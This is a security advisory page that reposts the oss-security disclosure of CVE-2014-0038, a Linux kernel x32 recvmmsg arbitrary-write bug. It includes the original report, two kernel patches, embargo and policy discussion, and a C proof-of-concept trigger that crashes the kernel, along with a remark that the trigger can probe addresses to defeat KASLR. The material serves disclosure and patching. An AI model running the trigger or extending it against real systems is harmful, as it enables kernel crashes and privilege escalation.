Linux Kernel 3.4+ arbitrary write with CONFIG_X86_X32

2014-01-31 / 2014-02-02
Credit: Solar
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 6.9/10
Impact Subscore: 10/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

This issue was brought to linux-distros and security () k o 2 days ago via the message quoted below, and it was just made public at 22:00 UTC today (two hours ago) via grsecurity and PaX (who were the ones to find the issue). Normally, the person who brought this to linux-distros would be the one responsible to bring the issue to oss-security as soon as the issue is public, but Kees does not appear to be around at the moment and the issue is critical enough that I find it inappropriate to delay this posting by a few hours more, hence I am doing Kees' job by posting this in here. This is CVE-2014-0038 (assigned shortly after Kees sent the message below). I will also include PaX Team's revised patch below. ----- Forwarded message from Kees Cook <keescook () chromium org> ----- From: Kees Cook <keescook () chromium org> Subject: 3.4+: arbitrary write with CONFIG_X86_X32 Date: Tue, 28 Jan 2014 15:52:58 -0800 This appears to be a serious bug, so I'd like to make sure distros have time to prepare updates but PaX Team really wants to get this fixes ASAP. When is the soonest Coordinated Release Date distros can handle? (I have no CVE assigned for this since I'm still waiting for my 2014 allocation.) Reported by pageexec at https://code.google.com/p/chromium/issues/detail?id=338594, which is restricted, so here's the full report: ---- asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags, struct compat_timespec __user *timeout) { int datagrams; struct timespec ktspec; if (flags & MSG_CMSG_COMPAT) return -EINVAL; if (COMPAT_USE_64BIT_TIME) return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, (struct timespec *) timeout); /*...*/ The timeout pointer parameter is provided by userland (hence the __user annotation) but for x32 syscalls it's simply cast to a kernel pointer and is passed to __sys_recvmmsg which will eventually directly dereference it for both reading and writing. Other callers to __sys_recvmmsg properly copy from userland to the kernel first. The impact is a sort of arbitrary kernel write-where-what primitive by unprivileged users where the to-be-written area must contain valid timespec data initially (the first 64 bit long field must be positive and the second one must be < 1G). The bug was introduced by commit http://git.kernel.org/linus/ee4fa23c4b (other uses of COMPAT_USE_64BIT_TIME seem fine) and should affect all kernels since 3.4 (and perhaps vendor kernels if they backported x32 support along with this code). Note that CONFIG_X86_X32_ABI gets enabled at build time and only if CONFIG_X86_X32 is enabled and ld can build x32 executables. Suggested fix: Signed-off-by: PaX Team <pageexec () freemail hu> --- a/net/compat.c 2014-01-20 12:36:54.372997752 +0100 +++ b/net/compat.c 2014-01-28 02:06:59.265506171 +0100 @@ -780,22 +780,25 @@ if (flags & MSG_CMSG_COMPAT) return -EINVAL; - if (COMPAT_USE_64BIT_TIME) - return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, - flags | MSG_CMSG_COMPAT, - (struct timespec *) timeout); - if (timeout == NULL) return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, NULL); - if (get_compat_timespec(&ktspec, timeout)) + if (COMPAT_USE_64BIT_TIME) { + if (copy_from_user(&ktspec, timeout, sizeof(ktspec))) + return -EFAULT; + } else if (get_compat_timespec(&ktspec, timeout)) return -EFAULT; datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, &ktspec); - if (datagrams > 0 && put_compat_timespec(&ktspec, timeout)) - datagrams = -EFAULT; + if (datagrams > 0) { + if (COMPAT_USE_64BIT_TIME) { + if (copy_to_user(timeout, &ktspec, sizeof(ktspec))) + datagrams = -EFAULT; + } else if (put_compat_timespec(&ktspec, timeout)) + datagrams = -EFAULT; + } return datagrams; } So I couldn't help it and created a simple PoC trigger based on the example in the manpage. As it is, it'll just trigger a null-deref oops on the read side: BUG: unable to handle kernel NULL pointer dereference at 0000000000000009 IP: [<ffffffff82a333cb>] __sys_recvmmsg+0x3b/0x310 By passing an appropriate value for the timeout pointer one can trigger the write side too. By the way, this also allows scanning the kernel address space and even reveal KASLR (try every 2MB, if no oops -> found the kernel), no doubt to Kees' delight :). /* * PoC trigger for the linux 3.4+ recvmmsg x32 compat bug, based on the manpage * * https://code.google.com/p/chromium/issues/detail?id=338594 * * $ while true; do echo $RANDOM > /dev/udp/127.0.0.1/1234; sleep 0.25; done */ #define _GNU_SOURCE #include <netinet/ip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <unistd.h> #include <sys/syscall.h> #define __X32_SYSCALL_BIT 0x40000000 #undef __NR_recvmmsg #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) int main(void) { #define VLEN 10 #define BUFSIZE 200 #define TIMEOUT 1 int sockfd, retval, i; struct sockaddr_in sa; struct mmsghdr msgs[VLEN]; struct iovec iovecs[VLEN]; char bufs[VLEN][BUFSIZE+1]; struct timespec timeout; sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) { perror("socket()"); exit(EXIT_FAILURE); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(1234); if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { perror("bind()"); exit(EXIT_FAILURE); } memset(msgs, 0, sizeof(msgs)); for (i = 0; i < VLEN; i++) { iovecs[i].iov_base = bufs[i]; iovecs[i].iov_len = BUFSIZE; msgs[i].msg_hdr.msg_iov = &iovecs[i]; msgs[i].msg_hdr.msg_iovlen = 1; } timeout.tv_sec = TIMEOUT; timeout.tv_nsec = 0; // retval = recvmmsg(sockfd, msgs, VLEN, 0, &timeout); // retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, &timeout); retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)1ul); if (retval == -1) { perror("recvmmsg()"); exit(EXIT_FAILURE); } printf("%d messages received\n", retval); for (i = 0; i < retval; i++) { bufs[i][msgs[i].msg_len] = 0; printf("%d %s", i+1, bufs[i]); } exit(EXIT_SUCCESS); } ---- -Kees -- Kees Cook Chrome OS Security ----- End forwarded message ----- ----- Forwarded message from PaX Team <pageexec () freemail hu> ----- From: "PaX Team" <pageexec () freemail hu> Subject: Re: 3.4+: arbitrary write with CONFIG_X86_X32 Date: Thu, 30 Jan 2014 14:45:53 +0100 On 30 Jan 2014 at 14:24, security () kernel org wrote: On 29 Jan 2014 at 20:06, H. Peter Anvin wrote: Longer term we may want to do something fancier with get_compat_timespec() and put_compat_timespec() to encapsulate COMPAT_USE_64BIT_TIME, but this is not the time. Yeah, I didn't go that route because these functions have a dozen other callers (including gems like compat_get_timespec calling get_compat_timespec where the former does treat x32) and I didn't want to find out if all of them would need the x32 treatment when fixing this bug is much more urgent. Actually, I think we can use compat_*_timespec here as I effectively ended up open coding them, so here's the new and simpler patch: Signed-off-by: PaX Team <pageexec () freemail hu> --- a/net/compat.c 2014-01-20 12:36:54.372997752 +0100 +++ b/net/compat.c 2014-01-30 14:29:15.385082301 +0100 @@ -780,21 +780,16 @@ if (flags & MSG_CMSG_COMPAT) return -EINVAL; - if (COMPAT_USE_64BIT_TIME) - return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, - flags | MSG_CMSG_COMPAT, - (struct timespec *) timeout); - if (timeout == NULL) return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, NULL); - if (get_compat_timespec(&ktspec, timeout)) + if (compat_get_timespec(&ktspec, timeout)) return -EFAULT; datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, &ktspec); - if (datagrams > 0 && put_compat_timespec(&ktspec, timeout)) + if (datagrams > 0 && compat_put_timespec(&ktspec, timeout)) datagrams = -EFAULT; return datagrams; ----- End forwarded message ----- Both patches were Acked-by: H. Peter Anvin <hpa () linux intel com> (when each was the current patch), and I guess the newer patch (from the second forwarded message above) is preferable (the one I expect to see committed soon). It appears, from the linux-distros discussion, that a couple of distros are going to release emergency security updates for this. If they did not express interest in an extra day of embargo, the issue would likely be made public on the first day (not on the second). In one of the messages on linux-distros, I commented on whether using the list for an issue like this was even appropriate, as follows: "BTW, if this were not limited to x32, I'd say that posting the info directly to linux-distros (rather than e.g. posting a "please contact me for details if affected and need more detail") would be inappropriate, because it's a high impact bug, whereas this list is for medium overall severity issues: http://oss-security.openwall.org/wiki/mailing-lists/distros "To report a non-public medium severity 1) security issue to one of these lists, send e-mail to distros [at] ..." "1) Medium overall severity as estimated by risk probability and risk impact product. It is recommended that low severity security issues be reported to the public oss-security list right away, whereas high severity ones be reported to the affected vendors directly." It's the x32 aspect that reduces the overall severity in this case." Arbitrary selection of additional detail/commentary, from Twitter: During the first day (of two) of embargo of this vuln: <grsecurity> My hatred for embargoes and vendor-sec-like lists cannot be adequately expressed Right after the coordinated disclosure date/time (today): <grsecurity> If you're running Linux 3.4 or newer and enabled CONFIG_X86_X32 , you need to disable it or update immediately; upstream vuln CVE-2014-0038 <grsecurity> It doesn't get any more serious, nearly an arbitrary write which nothing (including grsecurity) will prevent exploitation of <grsecurity> To give you an idea of the level of testing that went into X32 support, a syscall fuzzer trying random syscall numbers could have found this <grsecurity> Yet it sat in the kernel for over a year and a half <grsecurity> I would not be surprised to see an exploit for this within the next few days <@grsecurity> @awasi1001 Our latest test patch uploaded today contains the fix. The stable 3.2 tree is not affected. <grsecurity> In case there's confusion, this vuln is not about 32bit userland on 64bit (CONFIG_X86_32), but the new X32 ABI. Ubuntu enables it recently <djrbliss> Seems the X32 privesc (CVE-2014-0038) was introduced in the final five lines of this commit: http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/net/compat.c?id=ee4fa23c4bfcc635d077a9633d405610de45bc70 Alexander

References:

http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/net/compat.c?id=ee4fa23c4bfcc635d077a9633d405610de45bc70
http://seclists.org/oss-sec/2014/q1/187
https://code.google.com/p/chromium/issues/detail?id=338594
http://cxsecurity.com/issue/WLB-2014020008


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top